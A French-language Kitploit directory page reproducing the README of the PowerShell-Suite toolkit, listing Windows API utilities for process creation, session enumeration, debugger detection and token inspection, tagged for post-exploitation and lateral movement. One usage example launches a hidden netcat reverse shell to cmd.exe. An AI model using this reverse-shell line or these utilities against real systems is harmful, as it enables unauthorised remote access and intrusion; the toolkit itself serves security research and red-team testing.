Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
PowerShell-Suite — Mes réflexions avec PowerShell | Kitploit
Outils/GitHubGitHub/fuzzysecurity/powershell-suite
Escalade de PrivilègesMouvement LatéralDébogueursAnalyse ForensiqueCollecte d'InformationsPost-ExploitationAnalyse de BinairesRed Teaming
GitHubfuzzysecurity/powershell-suite

PowerShell-Suite

Mes réflexions avec PowerShell

Voir le dépôt
2.7k76325il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

PowerShell-Suite

Il existe d'excellents outils et ressources en ligne pour accomplir presque toutes les tâches dans PowerShell, mais parfois il est nécessaire de créer un utilitaire pour un besoin spécifique ou pour combler un vide ontologique. Ceci est une collection d'utilitaires PowerShell que j'ai assemblés, soit pour le plaisir, soit parce que j'avais une application précise en tête.

Ainsi, les résultats que vous en tirerez peuvent varier, mais n'hésitez pas à signaler des problèmes ou à forker et adapter !

Windows API

Quelques ressources à consulter sur l'accès à l'API Windows depuis PowerShell :

  • FuzzySecurity : Accès à l'API Windows de bas niveau depuis PowerShell
  • Microsoft TechNet : Utiliser PowerShell pour interagir avec l'API Windows
  • Exploit Monday : Accéder à l'API Windows dans PowerShell via les méthodes internes de .NET et la réflexion
  • Exploit Monday : Réflexion avancée - Définir des structures et des énumérations dans PowerShell

Invoke-Runas

Fonctionnellement équivalent à "runas.exe" de Windows, utilisant Advapi32::CreateProcessWithLogonW.``` Start cmd with a local account. C:\PS> Invoke-Runas -User SomeAccount -Password SomePass -Binary C:\Windows\System32\cmd.exe -LogonType 0x1

Start cmd with remote credentials. Equivalent to "/netonly" in runas. C:\PS> Invoke-Runas -User SomeAccount -Password SomePass -Domain SomeDomain -Binary C:\Windows\System32\cmd.exe -LogonType 0x2

### Invoke-NetSessionEnum

Utilisez Netapi32::NetSessionEnum pour énumérer les sessions actives sur les machines jointes au domaine.```
Enumerate active sessions on "SomeHostName".
C:\PS> Invoke-NetSessionEnum -HostName SomeHostName

Invoke-CreateProcess

Utilisez Kernel32::CreateProcess pour obtenir un contrôle précis sur la création de processus depuis PowerShell.``` Start calc with NONE/SW_SHOWNORMAL/STARTF_USESHOWWINDOW C:\PS> Invoke-CreateProcess -Binary C:\Windows\System32\calc.exe -CreationFlags 0x0 -ShowWindow 0x1 -StartF 0x1

Start nc reverse shell with CREATE_NO_WINDOW/SW_HIDE/STARTF_USESHOWWINDOW C:\PS> Invoke-CreateProcess -Binary C:\Some\Path\nc.exe -Args "-nv 127.0.0.1 9988 -e C:\Windows\System32\cmd.exe" -CreationFlags 0x8000000 -ShowWindow 0x0 -StartF 0x1

### Detect-Debug

Présente un certain nombre de techniques pour détecter la présence de débogueurs en mode noyau/utilisateur depuis PowerShell.```
Sample below is x64 Win8, WinDbg attached to PowerShell.
C:\PS> Detect-Debug

[+] Detect Kernel-Mode Debugging
    [?] SystemKernelDebuggerInformation: False

[+] Detect User-Mode Debugging
    [?] CloseHandle Exception: Detected
    [?] IsDebuggerPresent: Detected
    [?] CheckRemoteDebuggerPresent: Detected
    [?] PEB!BeingDebugged: Detected
    [?] PEB!NtGlobalFlag: Detected
    [?] DebugSelf: Detected

Get-Handles

Utilisez NtQuerySystemInformation::SystemHandleInformation pour obtenir une liste de handles ouverts dans le processus spécifié, fonctionne sur x32/x64.``` Get handles for PID 2288 C:\PS> Get-Handles -ProcID 2288

[>] PID 2288 --> notepad [+] Calling NtQuerySystemInformation::SystemHandleInformation [?] Success, allocated 449300 byte result buffer

[>] Result buffer contains 28081 SystemHandleInformation objects [>] PID 2288 has 71 handle objects

PID ObjectType HandleFlags Handle KernelPointer AccessMask


2288 Directory NONE 0x0004 0x88E629F0 0x00000000 2288 File NONE 0x0008 0x84560C98 0x00100000 2288 File NONE 0x000C 0x846164F0 0x00100000 2288 Key NONE 0x0010 0xA3067A80 0x00020000 2288 ALPC Port NONE 0x0014 0x8480C810 0x001F0000 2288 Mutant NONE 0x0018 0x8591FEB8 0x001F0000 2288 Key NONE 0x001C 0x96719C48 0x00020000 2288 Event NONE 0x0020 0x850C6838 0x001F0000 ...Snip...

### Get-TokenPrivs

Ouvrir un handle à un processus et utiliser Advapi32::GetTokenInformation pour lister les privilèges associés au jeton du processus.```
Get token privileges for PID 3836
C:\PS> Get-TokenPrivs -ProcID 3836

[?] PID 3836 --> calc
[+] Process handle: 1428
[+] Token handle: 1028
[+] Token has 5 privileges:

LUID Privilege
---- ---------
  19 SeShutdownPrivilege
  23 SeChangeNotifyPrivilege
  25 SeUndockPrivilege
  33 SeIncreaseWorkingSetPrivilege
  34 SeTimeZonePrivilege

Get-Exports

Get-Exports récupère les exports de DLL et fournit optionnellement une sortie de wrapper C++ (identique à ExportsToC++ mais sans nécessiter VS ni un binaire compilé). Pour ce faire, il lit les octets de la DLL en mémoire puis les analyse (sans LoadLibraryEx). Grâce à cela, vous pouvez analyser les DLL x32/x64 indépendamment de l'architecture de PowerShell.``` PS C:> Get-Exports -DllPath C:\Windows\System32\ubpm.dll

[?] 32-bit Image!

[>] Time Stamp: 07/15/2016 18:07:55 [>] Function Count: 16 [>] Named Functions: 16 [>] Ordinal Base: 1 [>] Function Array RVA: 0x2F578 [>] Name Array RVA: 0x2F5B8 [>] Ordinal Array RVA: 0x2F5F8

Ordinal ImageRVA FunctionName


  1 0x000242A0 UbpmAcquireJobBackgroundMode
  2 0x00004750 UbpmApiBufferFree
  3 0x00004E30 UbpmCloseTriggerConsumer
  4 0x000135E0 UbpmInitialize
  5 0x00008D00 UbpmOpenTriggerConsumer
  6 0x000242C0 UbpmReleaseJobBackgroundMode
  7 0x00013230 UbpmSessionStateChanged
  8 0x000242E0 UbpmTerminate
  9 0x00003BD0 UbpmTriggerConsumerConfigure
 10 0x000040C0 UbpmTriggerConsumerControl
 11 0x00025B10 UbpmTriggerConsumerControlNotifications
 12 0x00025B40 UbpmTriggerConsumerQueryStatus
 13 0x0000E1B0 UbpmTriggerConsumerRegister
 14 0x000043F0 UbpmTriggerConsumerSetDisabledForUser
 15 0x00012480 UbpmTriggerConsumerSetStatePublishingSecurity
 16 0x00005330 UbpmTriggerConsumerUnregister
### Get-SystemModuleInformation

Utilisez NtQuerySystemInformation::SystemModuleInformation pour obtenir la liste des modules chargés, leur adresse de base et leur taille (x32/x64).```
PS C:\> Get-SystemModuleInformation

[+] Calling NtQuerySystemInformation::SystemModuleInformation
[?] Success, allocated 55656 byte result buffer
[?] Result buffer contains 188 SystemModuleInformation objects

ImageBase          ImageSize ImageName
---------          --------- ---------
0xFFFFF80314C0D000 0x749000  \SystemRoot\system32\ntoskrnl.exe
0xFFFFF80315356000 0x6C000   \SystemRoot\system32\hal.dll
0xFFFFF803149ED000 0x9000    \SystemRoot\system32\kd.dll
0xFFFFF88000CB5000 0x5C000   \SystemRoot\System32\drivers\CLFS.SYS
0xFFFFF88000D11000 0x23000   \SystemRoot\System32\drivers\tm.sys
0xFFFFF88000D34000 0x15000   \SystemRoot\system32\PSHED.dll
0xFFFFF88000D49000 0xA000    \SystemRoot\system32\BOOTVID.dll
0xFFFFF88000D53000 0x7F000   \SystemRoot\system32\CI.dll
0xFFFFF88001068000 0x63000   \SystemRoot\System32\drivers\msrpc.sys
0xFFFFF880010CB000 0xC2000   \SystemRoot\system32\drivers\Wdf01000.sys
0xFFFFF8800118D000 0x10000   \SystemRoot\system32\drivers\WDFLDR.SYS
...Snip...

Expose-NetAPI

Télécharger l’outil